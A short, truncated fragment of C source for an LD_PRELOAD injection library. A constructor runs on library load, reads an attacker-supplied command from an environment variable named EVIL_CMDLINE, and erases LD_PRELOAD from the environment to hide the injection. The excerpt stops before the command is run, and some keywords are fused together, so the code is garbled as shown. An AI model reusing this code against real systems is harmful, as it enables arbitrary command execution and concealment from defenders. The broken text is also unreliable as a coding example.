__attribute__ ((__constructor__)) voidpreload(void) { // get command line options and arg constchar* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD. // unsetenv("LD_PRELOAD") no effect on some // distribution (e.g., centos), I need crafty trick. int i; for (i = 0; environ[i]; ++i) { if (strstr(environ[i], "LD_PRELOAD")) { environ[i][0] = '\0'; } }